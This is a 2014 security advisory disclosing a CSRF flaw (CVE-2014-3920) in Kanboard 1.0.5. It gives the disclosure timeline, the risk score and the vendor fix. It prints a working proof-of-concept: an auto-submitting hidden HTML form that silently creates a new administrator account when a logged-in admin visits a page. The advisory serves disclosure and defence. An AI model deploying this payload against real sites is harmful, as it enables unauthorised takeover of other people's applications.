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Cross-Site Request Forgery (CSRF) in Kanboard

Advisory ID:HTB23217
Product:Kanboard
Vendor:http://kanboard.net/
Vulnerable Versions:1.0.5 and probably prior
Tested Version:1.0.5
Advisory Publication:May 28, 2014 [without technical details]
Vendor Notification:May 28, 2014
Vendor Fix:June 30, 2014
Public Disclosure:July 2, 2014
Latest Update:June 30, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2014-3920
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Kanboard, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks and gain complete control over the vulnerable application.


1. Сross-Site Request Forgery (CSRF) in Kanboard: CVE-2014-3920

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can trick a logged-in administrator of Kanboard to visit a specially crafted web page with CSRF exploit code and create new account with administrative privileges.

Simple CSRF exploit below creates new admin account with login "immuniweb" and password "password":

<form action="http://kanboard/?controller=user&action=save" method="post" name="main">
<input type="hidden" name="username" value="immuniweb">
<input type="hidden" name="name" value="name">
<input type="hidden" name="email" value="mail@mail.com">
<input type="hidden" name="password" value="password">
<input type="hidden" name="confirmation" value="password">
<input type="hidden" name="default_project_id" value="0">
<input type="hidden" name="is_admin" value="1">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Update to Kanboard 1.0.6

More Information:
http://kanboard.net/news


References:
[1] High-Tech Bridge Advisory HTB23217 - https://www.htbridge.com/advisory/HTB23217 - Сross-Site Request Forgery (CSRF) in Kanboard.
[2] Kanboard - kanboard.net - A simple and open source visual task board
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] Free SSL/TLS Server test - Test SSL/TLS encryption reliability and security of your web or email server, verify compliance with PCI DSS, HIPAA and NIST.
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